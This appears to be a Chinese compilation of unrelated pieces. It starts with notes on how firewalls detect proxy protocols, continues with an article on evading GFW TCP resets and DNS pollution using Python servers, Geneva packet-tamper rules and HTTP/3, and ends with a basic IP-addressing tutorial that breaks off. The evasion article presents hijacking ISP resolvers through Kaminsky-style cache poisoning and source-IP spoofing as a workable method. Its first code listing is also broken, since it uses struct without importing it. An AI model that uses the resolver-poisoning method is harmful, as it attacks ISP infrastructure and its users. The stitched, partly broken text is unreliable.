一般对于Shadowsocks, V2Ray, TLS 1.3 (获取服务器SSL证书)
数据包重放
主要用于识别客户端
以下特征是任何代理协议都有的, 无法抹除(或者说很难抹除)
长连接
大部分的正常流量都是短连接
双向流
现代代理的一大误区就是伪装Web服务, 互联网中99%的Web流量 都是单向流, 即 一组请求对应一组响应 (Request -> Response), 使用WebSocket的网站更是少之又少, 在Web服务上跑双向流难道不是一种自欺欺人?
大流量
如果你认为伪装Web聊天室就可以解决上面的双向流问题, 那么请你解释一下 哪个Web聊天室的流量这么大?
连接数多
如果你的流量不是很大的话, 那么又怎么解释你对着一个Web服务器开20-30个连接? 一般一个网页(聊天室, 探针)只会创建一个WebSocket连接, 那么你怎么解释连接数多呢?
点对点
你一个人对着一个网站域名, IP 进行连接, 跑的加密长连接, 如果你是中间人, 你会怎么觉得?
套了TLS很安全, 这样就没有办法被识别了
详细请看后面的TLS连接风险评定
开了IP白名单, 任何探测和重放攻击都没用
防火墙属于旁路设备, 你发送和接收的所有流量都要经过, 所以防火墙完全有能力伪造你的IP, 相反 如果开了白名单, 是不是更可疑呢? (你越不想让别人看到的东西 那么越更可疑)
我从来就没有被墙过
幸存者偏差, 也许你流量小到没有分析的必要
备案域名不会被墙
并不是,备案域名和未备案域名跨境传输是同等待遇,只是备案域名可以使用大陆服务器直接提供Web服务
TLS ClientHello有指纹 (详细可以谷歌查一下 关键词 "TLS握手指纹") 这里不多讲
如果使用程序默认的指纹 (以 Go TLS 为例)去访问一个网页, 且符合上述流量特征, 那么是代理的风险会很高
实测伊朗的防火墙会阻止curl和wget的指纹对非白名单SNI的请求, Go TLS和浏览器指纹则正常
建议使用浏览器指纹进行连接 (参考项目 uTLS)
前排提示 uTLS仓库已经年久失修 Chrome指纹停留在Chrome 83 也许也是一种风险
可以更换这个仓库 , 目前加入了 Chrome 104的指纹
免费域名风险最高, 较为便宜的域名也有一定风险
TLS 1.3是风险最高的, 因为Server Hello后内容全部加密, 中间人需要主动探测才可以拿到服务器证书
TLS 1.2风险为中等, 证书交换全部明文传输, 中间人可以直接截取来校验
SSLv3/TLS 1.0/TLS 1.1 风险最低, 已经没有多少流量了, 能拿到的流量样本少之又少 (不过使用某些加密方式存在被攻击风险 不推荐)
自签名证书是风险最高的
其次是Cloudflare免费证书和Let's Encrypt 因为人人可免费申请
付费证书的风险最低,因为几乎没有人会花几百几千买一个证书拿去做代理
MTProto-FakeTLS和Shadow TLS (v1/v2)都是模拟了一个可信证书的TLS握手, 以绕过白名单, 两个协议的设计都是近似完美的, 在握手时可以验证是否为有效客户端
ClientHello包除去random字段进行整包hmac, 密钥就是secret, 服务器使用相同的hmac方式可验证客户端, random有一次性处理, 失败回落到真的Web服务器
识别方法:MTProto的TLS握手并不规范, 防火墙可以截取到服务器发送的第三个包 (hostCert) 判断包长即可 (此处参考mtg的faketls源代码) hostCert长度为随机生成 长度在1024-4096字节
识别方法:直接使用curl对着服务器发送一个请求, curl会失败
客户端请求后, 获取服务器返回的原始数据 作为challenge(挑战)的response(响应), 使用password进行hmac, 服务器使用相同的hmac方式可验证客户端
由于服务器返回的数据有随机性, 也可以达到一次性认证, 且中间人拿不到password时无法作出challenge的response返回给服务器, 比MTProto的握手更加安全
很多协议的安全性只是针对服务器对客户端鉴权, 客户端不会验证服务器有效性(即单向鉴权)。因此防火墙可以通过伪造服务器包来探测客户端反应, 即反向探测, 来区分客户端是否为真的浏览器。(MTProto在ServerHello中使用相同的hmac算法, 天生屏蔽此探测)
防火墙随机截取一个正常的TCP连接, 在截取到TLS ClientHello后, 根据请求内容中的SNI字段, 将其流量劫持到该SNI的真正服务器。等待TLS握手完成后, Shadow TLS客户端会在Application Data前8个字节插入服务器的challenge的response
此时由于对面服务器并不是一个Shadow TLS服务器, 而是一个真的TLS服务器, Shadow TLS客户端在握手阶段会顺利完成。但是在发送hmac后, 因为并不是TLS协商好的加密, 服务器会直接抛出Alert (Encrypted Application Data), 然后FIN或者RST掉TCP连接, 此时可以确定客户端为ShadowTLS客户端, 从而对其连接的IP精准封杀。
代理协议通常会使用很多连接, 只需要随机抽取一个进行客户端探测, 就可以精准识别其客户端
要解释清楚其中的技术原理,还得回到2010年的西厢计划。很早就经常科学上网的同学们应该都对西厢计划并不陌生,它是一个只需要运行在客户端就能绕过很多封锁访问目标网站的工具,解决TCP Reset的原理是对本地的TCP/IP协议进行修改,在不伤害客户端和服务器之间的TCP连接的前提下让墙误以为TCP连接已经断开或者无法正确跟踪到TCP连接。之后出现的INTANG项目同样是这个想法的延续。
不过,不管是西厢计划还是INTANG,都是运行在客户端上的工具,理论上只在服务器上运行无法起到效果,经过测试也能看到实际和理论相符。那么有没有一种工具可以在只服务器上运行,修改TCP/IP协议从而绕过封锁的工具呢?这方面同样有团队做了研究,研究的成果就是Geneva项目,GFW Report也对其做了详细介绍。在这篇文章中,列举了6种可以绕过TCP Reset的规则,6种规则都可以在只客户端部署生效(这时候服务器并不需要运行Geneva),而前4种可以在只服务器部署生效(这时候客户端并不需要运行Geneva)。不过Geneva的官方Github中只收录了客户端的规则,文章中的服务器规则并没有被收录在Geneva的官方Github中。而且文章中的策略3只给出了客户端的规则,遗漏了服务器端的规则。经过阅读Geneva的规则介绍和策略3的描述,我已经重新还原了策略3的服务器规则,重新收录了4种服务器规则到我自己的Github Fork中。经过本地环境的模拟加上tcpdump抓包观察测试,看到还原的策略3服务器规则和文章中描述的行为一致,可以认为就是策略3本来的服务器规则。但是,在之后的真实环境的测试中发现这4种服务器策略全都失效了(不管HTTP还是HTTPS都已失效),墙依然对TCP进行了Reset。经过抓包看到服务器的行为确实和文章中描述一致,所以可以确认并非是由于Geneva没有正常工作导致的,而是墙已经为了应对这4种策略进行进化了。所以,墙并不是一成不变的,而是会进化的,那我们又该怎么办呢?
讲到这里,就不得不提另一个策略发现工具SymTCP了。虽然现有的4种策略已经失效,但并不代表我们不能发现新的策略。而SymTCP就是新策略发现工具,通过自动学习可以自动发现新的策略绕过墙的TCP Reset。之后我们就能把新的策略转换为Geneva的规则格式进行使用了。不过,这样的话我们就会陷入到和墙的无休止争斗中,不断发现新策略,而墙则不断封锁新策略。而且规则的转换也是一个麻烦事,暂时还没有工具可以自动从SymTCP的规则转换为Geneva的规则,需要人工转换。并且需要修改SymTCP使其不仅可以发现客户端规则同样也能发现服务器端规则。
那么,有没有一种一劳永逸的方法,使墙再怎么进化也无法避免这种策略的影响,而且这种策略只需要运行在服务器上,从而绕过封锁呢?在下结论之前,我们需要来研究一下一个正常的HTTP协议通讯是怎么进行的:
而墙通常在看到浏览器发送的HTTP Request中包含关键字就会进行TCP Reset。讲到这里,聪明的同学或许已经想到了:如果服务器不等HTTP Request,而在TCP连接建立后立即发送HTTP Response,在墙进行TCP Reset之前就将Response送到浏览器进行抢答,是不是就能绕过TCP Reset了?而且还能无视之后墙的进化(因为浏览器的请求根本还没有经过墙)?说干就干,由于抢答模式不符合HTTP规范,所以常见的HTTP服务器无法实现抢答模式,所以让我们写个Python小程序来测试一下:
import socket
import threading
import time
def main():
serv_sock = socket.socket()
serv_sock.bind(('0.0.0.0', 80))
serv_sock.listen(50)
# 关闭Nagle算法,立即发送数据
serv_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# 不等待,立即关闭连接
serv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
while True:
cli_sock, _ = serv_sock.accept()
try:
cli_sock.sendall(b'''HTTP/1.1 302 Moved Temporarily\r\n'''
b'''Content-Type: text/html\r\n'''
b'''Content-Length: 0\r\n'''
b'''Connection: close\r\n'''
b'''Location: https://www.microsoft.com/\r\n\r\n''')
except Exception: # 防止客户端提前关闭连接抛异常
pass
def wait_second():
time.sleep(1) # 等待1秒钟,确保数据发送完毕
cli_sock.close()
threading.Thread(target=wait_second).start()
if __name__ == '__main__':
main()
写完了来测试一下,发现依旧被TCP Reset了。那么,问题出在哪里?让我们重新回到上述HTTP协议通讯的3个步骤中的第1步——TCP的3步握手:
从TCP的3步握手中,我们可以看到第3步中客户端发送了ACK就已经完成了TCP连接的建立,这时候客户端并不需要再等服务器的回复就能立即发送数据。也就是说,浏览器会在发送ACK后立即发送HTTP Request,ACK和HTTP Request几乎是同时发出的。而服务器在收到浏览器的ACK后基本也就代表着已经收到了HTTP Request了,抢答失败!
那么,有没有办法让浏览器在TCP连接建立后延迟发送HTTP Request,而又不改动客户端行为呢?讲到这里,对TCP协议比较熟悉的同学或许已经想到了,那就是TCP window size。而通过调用setsockopt()
就能修改TCP window size。让我们来修改一下Python小程序,把window size改为1再进行测试(TCP连接建立完成后,客户端只能发送1个字节,等待服务器的确认后才能继续发送更多的数据):
import socket
import struct
import threading
import time
def main():
serv_sock = socket.socket()
serv_sock.bind(('0.0.0.0', 80))
serv_sock.listen(50)
# 设置TCP window size为1
serv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1)
# 不等待,立即关闭连接
serv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
# 关闭Nagle算法,立即发送数据
serv_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
while True:
cli_sock, _ = serv_sock.accept()
try:
cli_sock.sendall(b'''HTTP/1.1 302 Moved Temporarily\r\n'''
b'''Content-Type: text/html\r\n'''
b'''Content-Length: 0\r\n'''
b'''Connection: close\r\n'''
b'''Location: https://www.microsoft.com/\r\n\r\n''')
except Exception: # 防止客户端提前关闭连接抛异常
pass
def wait_second():
time.sleep(1) # 等待1秒钟,确保数据发送完毕
cli_sock.close()
threading.Thread(target=wait_second).start()
if __name__ == '__main__':
main()
改完测试,发现在Linux下仍旧被TCP Reset了(但在Windows下成功跳转了)。什么原因?通过抓包,我们看到对TCP window size的修改并没有生效,window size依旧很大。在查阅了Linux man page后我们看到关于SO_RCVBUF
有这么一段话:
The minimum (doubled) value for this option is 256.
这也就意味着即使我们通过setsockopt()
将SO_RCVBUF
设置为1,Linux内核也会将其作为256处理(Windows却没有这个限制)。而Linux man page中也对SO_RCVBUFFORCE
做了说明:只能突破最大值的限制(but the rmem_max limit can be overridden
),但不能突破最小值的限制。而256字节基本就可以容纳整个HTTP Request。看来通过setsockopt()
行不通(不管SO_RCVBUF
还是SO_RCVBUFFORCE
都行不通),Linux下我们得找别的方法。
讲到这里,我们很自然地又想到了Geneva:上述Geneva的策略2中服务器规则正是利用了TCP window size做到的四字节分割(设置window size为4)。这样,就绕过了setsockopt()
的限制,直接对TCP数据包进行修改了。
在我们把四字节分割法部署到服务器运行Geneva后,再结合上述Python小程序,经过测试我们发现已经成功绕过了TCP Reset,浏览器跳转到了微软网站。我们终于成功了!
然而,在浏览器第二次访问服务器时发现依然被TCP Reset了。不过,这已经影响不到301跳转(上述Python小程序还是302跳转,需要301的同学自行修改)了,301跳转的话浏览器已经被重定向到新的网站了,不会再次访问这个服务器(需要保证新旧网站不能使用相同IP),但这并不妨碍我们继续探究一下为什么第二次访问会被TCP Reset:通过抓包我们看到,第一次访问时浏览器虽然在第一个附带用户数据的数据包中只发送了4个字节,但后续会将剩余的整个HTTP Request通过一个数据包发送到服务器导致TCP Reset。而墙是有审查残留的,一段时间(几分钟)内不管是否出现关键字,对源IP和目标IP之间的TCP连接会进行无差别的Reset。所以在之后的这段审查残留时间内,只要TCP连接建立就会被Reset,抢答模式无法起到作用。
知道了原因我们就能采取对策了,我们知道客户端是因为收到了服务器确认数据包中的TCP window size很大,所以才能一次性把剩余的Request发送完毕,所以需要对后续的TCP window size做同样的修改,保证客户端看到的window size一直处于比较小的水平:通过对TCP协议的了解,我们知道连接建立时的window size是通过SYN+ACK包确定的,而后续的window size是通过ACK或PSH+ACK包确定的。所以,我们对规则2做少许的修改就能做到对后续window size的修改:
[TCP:flags:A]-tamper{TCP:window:replace:1}-|
[TCP:flags:PA]-tamper{TCP:window:replace:1}-|
在服务器上我们同时运行规则2和上述修改后的2条规则(需要开3个Geneva进程,注意第2、第3个进程需要在命令行中指定--in-queue-num和--out-queue-num避免和第1个冲突),我们终于能稳定地运行上述抢答模式,再也不会被TCP Reset了。
实际上我们可以将3条规则中的window size都设置得更小一些,甚至设置为0,避免客户端发送任何数据(实际上由于window size探测机制的原因,客户端仍旧会以极慢的速度一个字节一个字节地发送数据,不过不影响我们的抢答模式):
[TCP:flags:SA]-tamper{TCP:window:replace:0}-|
[TCP:flags:A]-tamper{TCP:window:replace:0}-|
[TCP:flags:PA]-tamper{TCP:window:replace:0}-|
至此,HTTP的抢答模式就基本完成了。至于海外301跳转的那些服务可以同时服务于多个网站,原理也很简单:它们的名称虽然都是301跳转,但实际上并不一定必须使用301跳转——以上Python小程序可以修改为通过HTTP 200返回一个正常的HTML页面,其中嵌入一个JavaScript,在JavaScript中就能判断浏览器的网址进行条件跳转了。至于跳转规则,那大家就能在JavaScript中充分发挥自己的想象了。另外,由于Geneva和上述小程序都是用Python编写的(甚至都没有使用asyncio),性能会比较差一些。Geneva会自己添加iptables的NFQUEUE规则,不过规则太过于宽松,导致不需要处理的数据包也会经过Geneva,并且会有规则覆盖的问题。所以大家需要在启动Geneva后手动删除这些规则,自行添加更精确的规则(3条iptables规则需要分别设置成只处理OUTPUT链中TCP 80端口的SYN+ACK、ACK和PSH+ACK,避免条件重叠)。另外需要注意的是Geneva区分客户端模式还是服务器模式,在服务器上运行的话需要加上--server-side
参数。不过经过我的测试,即使使用精确的iptables规则也差不多只能利用20Mbps左右的带宽。如果希望有更高的性能,可以使用C/C++(结合libev,或asio,或直接epoll;或者使用golang、rust等)结合libnetfilter_queue,利用iptables的NFQUEUE来完成,可以跑满千兆带宽。其实Geneva的底层用的也是libnetfilter_queue和NFQUEUE。由于本系列只做概念验证,而且因为篇幅的限制(本文已经很长了),在此就不展开C/C++的实现了,感兴趣的同学可以和我联系,如果感兴趣的同学比较多的话我就再新开一个系列讲一下这方面的内容。另外需要注意的是,Geneva的编译环境为Python 3.6,使用Debian 10自带的Python 3.8/3.9会出现各种莫名其妙的问题,建议大家还是从Python官网下载Python 3.6的源码进行编译使用Geneva。嫌麻烦的同学如果不想折腾Geneva也可以将服务器换成Windows系统,可以直接使用上述Python小程序完成抢答模式。
在解决了HTTP的TCP Reset问题后,我们还需要解决HTTPS的TCP Reset。而HTTPS由于需要完成TLS握手才能发送HTTP Response,所以抢答模式似乎无法应用于HTTPS.
我们知道,HTTPS是需要客户端和服务器之间完成TLS握手后才能收发HTTP Request和Response。然而,墙是在TLS握手时通过SNI中的域名信息进行了TCP Reset,或通过ESNI头进行TCP阻断,这时候还没有到能发送HTTP Request或Response的这个阶段,所以HTTP Response抢答模式无法应用于HTTPS。那么,我们该怎么办呢?
让我们回到TCP Reset本身——既然是TCP Reset,那么它只会对TCP协议生效。如果有一个应用层协议,其底层不是TCP呢?相信聪明的同学已经想到了,那就是HTTP 3.0(简称HTTP/3或h3)。H3的底层协议是QUIC,而QUIC是基于UDP而非TCP的。经过我的测试,发现墙现在无法识别QUIC协议,不管QUIC协议中出现任何敏感词都能无障碍过墙。这也是为什么有些网站(如v2ex)在解决了DNS污染(比如客户端主动加hosts)后,并且连接过一次(首次还是需要科学上网,原因之后会讲)后,就能关闭科学上网访问了。也就是说,使用了H3后,我们甚至不需要进行301跳转,直接就能无障碍访问服务器了(但仍建议使用301跳转,否则可能会使封锁升级,如DNS污染)。虽然H3现在仍旧处于草案阶段,但各大浏览器都已经进行了支持,而其中Google Chrome对H3的支持是最好的。
那么,如何在服务器上部署并开启H3呢?由于H3现在仍是草案阶段,所以Nginx的正式版并不支持H3,需要更换为Nginx-QUIC来支持H3。编译使用Nginx-QUIC也可以参考这篇文章。另外,Cloudflare也已经支持了H3,可以自行开启(在“网络”设置中打开“HTTP/3(使用 QUIC)”)。在Cloudflare中开启H3后,Cloudflare和服务器的通讯仍旧可以使用HTTP/2(简称h2)或HTTP/1.1,并不需要服务器支持H3,而是由Cloudflare进行协议转换。
H3主要是依赖Alt-Svc
这个HTTP头来进行协议选则的。比如我们可以添加HTTP头:
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
指出服务器支持H3,H3的UDP端口为443,有效期(过了有效期后浏览器又会重新使用H2或HTTP/1.1进行访问)为1天(86400秒),支持最新的H3草案以及27、28、29草案。另外,我们也可以灵活地修改Alt-Svc
——比如可以在“:443
”之前添加IP或域名,做到HTTP和HTTPS使用不用的IP或域名,方便我们在自己的服务器上部署HTTP抢答模式,又能使用Cloudflare的H3协议转换,或者使用不同的域名从而在原域名被DNS污染的情况下老用户(没有过有效期86400秒的)依然可以通过H3访问服务器(因为H3是另一个域名,而不是被DNS污染的那个域名。或者直接使用IP,从根本上杜绝了DNS污染,只不过之后有可能遭到IP封锁)。另外,有效时间也可以进行适当延长(比如从1天延长到1个月或更长时间),避免客户端尝试H2或HTTP/1.1并且延长老用户的过期时间。我们可以在还没遇到HTTPS的TCP Reset时就开启H3,这样即使之后遭遇了HTTPS的TCP Reset,曾经访问过网站的老用户在H3有效期内也能继续访问网站。而且我们也不必担心UDP数据包被ISP丢弃(俗称UDP被QoS)的问题,因为浏览器在H3连接失败的时候会快速回退到H2和HTTP/1.1。
然而,H3是一个Alternative服务。首次访问服务器时,浏览器并不会主动使用H3,还是会优先使用H2或HTTP/1.1。当获取到Alt-Svc
头后,浏览器才会在之后的访问中优先使用H3。这也是为什么有些网站(如v2ex)需要在科学上网的情况下访问过一次后才能关闭科学上网进行访问(当然,DNS污染首先还是需要用户自行修改hosts解决)。那么,我们如何让用户全程不使用科学上网的情况下访问服务器呢?
首先想到的是通过上面提到的HTTP抢答模式提供Alt-Svc
头,不过可惜的是现在的主流浏览器会忽略HTTP中的Alt-Svc
头,只接受HTTPS中的Alt-Svc
头。而如果HTTPS本来就已经被TCP Reset的话,浏览器就无法获取Alt-Svc
头了。那么,那些提供HTTPS的301海外跳转服务是怎么做的呢?
在调查和尝试了几个支持HTTPS的301海外跳转服务后,我们发现,它们根本就没有解决HTTPS的TCP Reset问题,HTTPS依然被TCP Reset了,而它们宣称支持HTTPS中301跳转的做法就是在HTTP抢答模式下加上普通的TLS服务。因为大部分网站遭遇的只是HTTP中的TCP Reset而HTTPS并不会被TCP Reset,所以只需要解决HTTP的301跳转,再加上普通的HTTPS,表面上就能同时做到HTTP和HTTPS的301跳转。而且在调查过程中我们还发现有个跳转服务主页的HTTPS也被TCP Reset了,而他们自己却对此毫无办法。那么,对于新用户访问HTTPS的TCP Reset,我们也只能止步于此,束手无策了吗?那也未必。
其实,从本系列一开始,我们就假设301跳转服务器是在国外。如果使用的是国内服务器,那么就能避免墙的识别了(因为不过墙)。但使用国内服务器(似乎)有个绕不过去的坎:备案系统——使用HTTP会提示域名没有备案,使用默认端口443的HTTPS同样会有TCP Reset。我们又该怎么办?其实,备案系统其实就是一个简化版的墙,没有TCP流量重组的功能,使用上面提到的抢答模式同样也能绕过备案系统。而且正是因为备案系统没有TCP流量重组的功能,我们甚至可以在TCP模式的HTTP和HTTPS中设置TCP window size(比如Linux上可以使用Geneva;Windows上可以自行编写一个反向代理,在其中设置SO_RCVBUF
为1,两者的用法在上面都已进行说明,在此不再重复),从而可以直接通过HTTP和HTTPS绕过备案系统而无需使用301跳转(因为备案系统没有TCP流量重组功能,所以只需要在连接初始时设置个较小的TCP window size,之后恢复正常即可。这也是很多国内免备案服务器的原理和使用的方案)。不过,绕过备案系统展示网页有一定的风险,301跳转风险会小一些,希望大家还是要权衡好利弊。
在讨论好HTTPS中防TCP Reset的方案后,最后让我们来聊一聊DNS污染。
其实,在撰写本文之前,我曾去尝试过几个声称可以解决域名污染的301海外跳转的服务,但无一例外都失败了,都无法解决DNS污染。然后我也去咨询了提供了这些服务的人,他们的说法大致分为两种:
那么,对于DNS污染,我们只能束手无策,或只能碰运气转移回国内了吗?那也未必。不过,由于解决DNS污染所需要的成本较高,所以这也是为什么之前H3虽然能让用户在原有域名下继续访问,我仍旧建议使用301跳转的原因。否则封锁升级为DNS污染后连301跳转都会变得比较困难了。
讲到这里,细心的同学应该已经发现,其实在刚才H3的使用方法中,已经介绍了如何使老用户在DNS污染的情况下继续进行访问的方法了。这是解决DNS污染部分问题的方法之一。那么,还有没有别的方法也能解决部分问题呢?其实,在H3的方案中,我们主要利用了浏览器的Cache中记录了H3的服务信息,来让老用户通过不同的域名或IP进行访问的。那么,浏览器的Cache中除了能保存H3的信息外,也是可以保存其他内容的。讲到这里,聪明的同学应该已经想到了。没错,就是Cache-Control
(或使用Expires
也有相同的效果)。通过这个HTTP头,我们可以将一个页面的过期时间设置成很长,在过期之前,浏览器并不会发起HTTP请求,甚至没有网络的离线情况下都能访问(使用F5刷新除外,这时候浏览器会忽略过期时间从而发起HTTP请求)。在这个页面中,我们可以引用别的域名下的JavaScript脚本文件,在JavaScript而非HTML中渲染整个网页。这样,老用户同样可以在DNS污染的情况下继续访问我们的服务器。不过,这种做法对SEO不是很友好,但我们可以使用HTML和JavaScript同时渲染的方法让搜索引擎可以进行索引——HTML中仍旧是正常内容给搜索引擎进行索引,而浏览器会加载JavaScript,使用JavaScript重新渲染一遍网页,避免Cache没有过期而呈现老页面的问题。老用户的问题可以解决,但新用户怎么办呢?或者我们有没有办法从根本上来解决DNS污染呢?而且听说现在有一些价格昂贵的污染清洗服务,它们真的能从根本上解决DNS污染吗?它们是怎么做的呢?
如果我们想从根本上解决问题,首先我们还需要了解整个DNS系统是怎么工作的:
我们知道,DNS污染是墙在海外ADNS返回正确的结果之前进行了抢答,返回了错误的结果。这样,在国内LDNS向海外ADNS查询的时候,同样会受到DNS污染,从而返回给普通用户错误的结果。那么,我们有没有办法劫持ISP的LDNS,从而让其返回我们想要的IP而不是墙返回的错误IP呢?这样,虽然DNS污染仍旧存在,但普通用户却得到了正确的IP,从而可以正常访问我们的服务器了。
讲到这里,就不得不提到2008年曾经轰动全球的DNS投毒攻击案了。在这篇文章中,Kaminsky可以修改任意LDNS中缓存的A(或AAAA以及其它)记录,虽然在经过了那次事件后这个漏洞更难被利用了,但终究无法完全修复,我们仍旧可以利用其中的原理劫持ISP的LDNS(能猜中源端口和QID就能进行劫持),将被污染域名的IP换成自己想要的IP。而且由于墙污染的TTL较小,我们也能更快地利用这个漏洞而不需要每次等待1天的时间。所以短则几天,慢则几个星期就能劫持成功。这也是现在有些价格不菲的污染清洗服务所采用的方案之一。当然,某些攻击团队也同样在利用这个漏洞就行DNS劫持,虽然导致的结果是LDNS被劫持而非墙的DNS污染,但对于普通用户所造成的结果是一致的——网站无法访问。不过,要实施这种DNS劫持需要源IP欺骗,现在能进行源IP欺骗的服务器已经越来越少了。那么我们还有没有别的方法无需源IP欺骗来劫持LDNS呢?
既然大家已经看了上面的文章,那么让我们来重新细致地梳理一下整个DNS查询过程。以浏览器访问 https://www.youtube.com/ 为例:
我们知道, youtube.com 是个被DNS污染的域名,所以第5和第6步会受到墙的DNS污染,而前4步不会。第6步我们也很熟悉了,国内IP向国外IP发起查询请求时墙就会抢答 www.youtube.com 的错误A(或AAAA)记录。而第5步中,由于LDNS在国内,查询到 youtube.com 的NS记录同样会受到污染。我们同样知道,墙的DNS污染虽然成功概率接近100%,但仍有很小的概率会污染失败。那么我们能不能不停地向LDNS请求 www.youtube.com 的A(或AAAA)记录,在墙污染失败的时候,LDNS就能刷新到正确的IP地址了呢?可惜的是,LDNS是有缓存的,在缓存有效期内,不会再次向ADNS发起请求。即使在缓存失效后偶尔会由于污染失败得到了正确的IP地址,但在缓存再次失效后由于污染再次回到了错误的IP地址。所以被污染的概率仍旧接近100%。墙看上去似乎无懈可击,我们该怎么办呢?
让我们重新回到第5条,使用国内IP向 .com 的ADNS请求 youtube.com 的NS记录。以Linux为例:
dig ns youtube.com @e.gtld-servers.net
(e.gtld-servers.net
为 .com 的其中一个ADNS)
我们看到墙返回了污染的结果, youtube.com 被污染的NS是……咦?不对!墙竟然返回的是A(或AAAA)记录,而不是我们查询的NS记录!而且墙的污染是有很小的概率会失败的!相信聪明的同学已经想到了——由于墙返回的是不是NS记录,所以LDNS没有获取到 youtube.com 的NS记录,自然无法将 youtube.com 的NS记录存入缓存中。所以,在下次客户端请求 youtube.com 的NS记录时,LDNS会再次向 .com 的ADNS请求 youtube.com 的NS记录而不是从缓存中获取。既然不存在缓存,我们就能一直向LDNS发起请求,而LDNS就会一直向ADNS发起请求,直到墙的污染失败出现,LDNS终于获得了正确的NS记录。而由于NS记录本身是带有TTL的,所以会被存入LDNS的缓存之中,在缓存过期之前不会再受到墙的污染。而我们可以将NS记录的TTL设置得非常长,从而可以在很长得时间内让墙得污染无法生效。而在TTL过期之后,我们可以利用同样的方法再次让LDNS获得正确的NS记录。
在解决了第5条中的污染后,我们还需要解决第6条中的污染。而第6条中墙返回的确实是查询的A(或AAAA)记录,会被存入LDNS缓存,也就无法利用上述方法了。我们该怎么办呢?相信聪明的同学也已经想到了。没错,就是将NS记录转移回国内,这样DNS请求就不会过墙,自然就不会受到污染了。可是,不对呀?刚才不是讲过我也曾经亲自验证过,将一个被DNS污染的域名的NS记录转移回国内,等了几个月,依然被污染么?那是因为之前的测试只是将NS记录指向了国内服务器,我们并没有大量地发送NS查询请求到LDNS,所以LDNS并没有获得正确的NS记录,所以污染仍旧存在。而且,ISP的LDNS是分运营商并且分区域的。只将一个LDNS中的NS刷新到正确结果只能解决一个运营商的一小片区域中的污染,如果想要在全国范围内解决污染,需要使用大量的IP地址(因为很多ISP的LDNS限制了查询请求的发起IP只能是本地宽带用户),不停地对大量的LDNS查询NS记录,直到全国大部分地区的LDNS都获取到了正确的NS记录,才能在大范围内解决DNS污染。而且即使LDNS获取到了正确的NS记录,查询仍然要继续,因为缓存是有过期时间的。而这,也是现在很多昂贵的污染清洗服务所采用的方案之一。
IP地址 在 TCP/IP地址 参考模型中处于第三层,也就是网络层。
网络层的主要作用是:实现主机与主机之间的通信,也叫点对点(end to end)通信。
网络层与数据链路层有什么关系呢?
有的小伙伴分不清 IP地址(网络层) 和 MAC (数据链路层)之间的区别和关系。
其实很容易区分,在上面我们知道 IP地址 的作用是主机之间通信用的,而 MAC 的作用则是实现「直连」的两个设备之间通信,而 IP地址 则负责在「没有直连」的两个网络之间进行通信传输。
举个生活的栗子,小林要去一个很远的地方旅行,制定了一个行程表,其间需先后乘坐飞机、地铁、公交车才能抵达目的地,为此小林需要买飞机票,地铁票等。
飞机票和地铁票都是去往特定的地点的,每张票只能够在某一限定区间内移动,此处的「区间内」就如同通信网络中数据链路。
在区间内移动相当于数据链路层,充当区间内两个节点传输的功能,区间内的出发点好比源 MAC 地址,目标地点好比目的 MAC 地址。
整个旅游行程表就相当于网络层,充当远程定位的功能,行程的开始好比源 IP地址,行程的终点好比目的 IP地址。
如果小林只有行程表而没有车票,就无法搭乘交通工具到达目的地。相反,如果除了车票而没有行程表,恐怕也很难到达目的地。因为小林不知道该坐什么车,也不知道该在哪里换乘。
因此,只有两者兼备,既有某个区间的车票又有整个旅行的行程表,才能保证到达目的地。与此类似,计算机网络中也需要「数据链路层」和「网络层」这个分层才能实现向最终目标地址的通信。
还有重要一点,旅行途中我们虽然不断变化了交通工具,但是旅行行程的起始地址和目的地址始终都没变。
其实,在网络中数据包传输中也是如此,源IP地址和目标IP地址在传输过程中是不会变化的(前提:没有使用 NAT 网络),只有源 MAC 地址和目标 MAC 一直在变化。
在 TCP/IP地址 网络通信时,为了保证能正常通信,每个设备都需要配置正确的 IP地址,否则无法实现正常的通信。
IPv4 地址由 32 位正整数来表示,IP地址在计算机是以二进制的方式处理的。
而人类为了方便记忆采用了点分十进制的标记方式,也就是将 32 位 IP地址以每 8 位为组,共分为 4 组,每组以「.」隔开,再将每组转换成十进制。
那么,IP地址最大值也就是
理论上,最大允许 43 亿台计算机连接到网络。
实际上,IP地址并不是根据主机台数来配置的。像服务器、路由器等设备都是有 2 个以上的网卡,也就是它们会有 2 个以上的 IP地址。
因此,让 43 亿台计算机全部连网其实是不可能的,更何况 IP地址是由「网络标识」和「主机标识」这两个部分组成的,所以实际能够连接到网络的计算机个数更是少了很多。
可能有的小伙伴提出了疑问,现在不仅电脑配了 IP地址, 手机、平板 等电子设备都配了 IP地址 呀,照理来说肯定会超过 43 亿啦,那是怎么能够支持这么多 IP地址 的呢?
因为会根据一种可以更换 IP地址的技术 NAT,使得可连接计算机数超过 43 亿台。 NAT 技术后续会进一步讨论和说明。
互联网诞生之初,IP地址显得很充裕,于是计算机科学家们设计了分类地址。
IP地址分类成了 5 种类型,分别是 A 类、B 类、C 类、D 类、E 类。
上图中黄色部分为分类号,用以区分 IP地址类别。
什么是 A、B、C 类地址?
其中对于 A、B、C 类主要分为两个部分,分别是网络号和主机号。这很好理解,好比小林是 A 小区 1 栋 101 号,你是 B 小区 1 栋 101 号。
我们可以用下面这个表格, 就能很清楚的知道 A、B、C 分类对应的地址范围、最大主机个数。
A、B、C 分类地址最大主机个数是如何计算的呢?
最大主机个数,就是要看主机号的位数,如 C 类地址的主机号占 8 位,那么 C 类地址的最大主机个数:
为什么要减 2 呢?
因为在 IP地址中,有两个 IP地址 是特殊的,分别是主机号全为 1 和 全为 0 地址。
因此,在分配过程中,应该去掉这两种情况。
广播地址有什么用?
广播地址用于在同一个链路中相互连接的主机之间发送数据包。
学校班级中就有广播的例子,在准备上课的时候,通常班长会喊:“上课, 全体起立!”,班里的同学听到这句话是不是全部都站起来了?这个句话就有广播的含义。
当主机号全为 1 时,就表示该网络的广播地址。例如把 172.20.0.0/16 用二进制表示如下:
10101100.00010100.00000000.00000000
将这个地址的主机部分全部改为 1,则形成广播地址:
10101100.00010100.11111111.11111111
